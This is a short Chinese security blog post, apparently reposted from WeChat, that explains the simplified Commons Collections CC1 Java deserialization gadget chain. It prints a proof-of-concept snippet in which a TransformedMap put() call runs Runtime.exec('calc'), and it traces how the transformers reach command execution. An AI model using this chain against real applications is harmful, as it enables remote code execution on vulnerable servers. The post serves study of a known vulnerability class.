扫一扫关注公众号,长期致力于安全研究
在p牛安全漫谈的第九篇中,p牛贴出了简化版的CC1链。为什么要有简化版呢?
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
Transformer transformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,transformer);
outerMap.put("test","xxxxx");
new ConstantTransformer(Runtime.getRuntime())
InvokerTransformer初始化如下,1传递方法名,2传递参数类型,3传递参数的值
ChainedTransformer的实现如下
也就说首先new之后transformer变量存储的内容如下
TransformedMap.decorate如下,这里可以看出直接能调用到有参构造。换种意思来说就是将transformer变量内容存入到了valueTransformer中
那么最后一个outerMap.put("test","xxxxx");就是最重要的一点了。 跟进put发现了transformValue方法
transformValue会调用:valueTransformer.transform(object)
而valueTransformer此时为ChainedTransformer,所以会调用到ChainedTransformer.transform()方法
在第一次循环执行之后,返回的Object是Runtime
然后将object当做参数带入,再次执行transform(),一个经典的命令执行
本文只是简单剖析,更详细的话,可以跟着断点进行一步步调试
下方扫一下扫,即可关注
原文始发于微信公众号(安全族):浅析P牛版CC1链
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论